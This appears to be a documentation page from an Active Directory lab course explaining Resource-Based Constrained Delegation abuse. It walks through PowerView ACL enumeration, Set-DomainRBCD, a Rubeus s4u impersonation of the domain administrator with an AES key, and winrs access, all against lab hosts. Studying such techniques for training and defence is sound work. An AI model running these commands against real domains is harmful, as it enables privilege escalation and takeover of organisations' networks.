> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/write-permission-abuse-rbcd.md).

# Write Permission Abuse (RBCD)

**Write Permission Abuse in Resource-Based Constrained Delegation (RBCD)** is a type of attack that exploits the flexibility of **Resource-Based Constrained Delegation (RBCD)** in Active Directory. In this attack, an adversary with write access to the attributes of a target machine's Active Directory object can assign delegation rights to a compromised or controlled account, allowing them to impersonate other users (including privileged users) to the target system. This type of abuse can lead to lateral movement and privilege escalation within a domain.

Let's use PowerView from a PowerShell session started using Invisi-Shell to enumerate Write permissions for a user that we have compromised. After trying from multiple users or using BloodHound we would know that the user ciadmin has Write permissions on the computer object of dcorp-mgmt:

```
. C:\AD\Tools\PowerView.ps1
```

```
Find-InterestingDomainACL | ?{$_.identityreferencename -match 'ciadmin'}
```

Recall that we compromised ciadmin from dcorp-ci. We can either use the reverse shell we have on dcorp-ci as ciadmin or extract the credentials from dcorp-ci.

\
Now, set RBCD on dcorp-mgmt for the student VMs. (**After runing PowerView\.ps1 on memory**):

```
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-studentx$' -Verbose
```

```
Get-DomainRBCD
```

With Rubeus, abuse the RBCD to access dcorp-mgmt as Domain Administrator - Administrator:

* **First you should extract your local student machine in order to get student aes keys**

```
C:\AD\Tools\Rubeus.exe s4u /user:dcorp-studentX$ /aes256:bd05cafc205970c1164eb65abe7c2873dbfacc3dd790821505e0ed3a05cf23cb /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt
```

Check if we can access dcorp-mgmt:

```
winrs -r:dcorp-mgmt cmd
```


---

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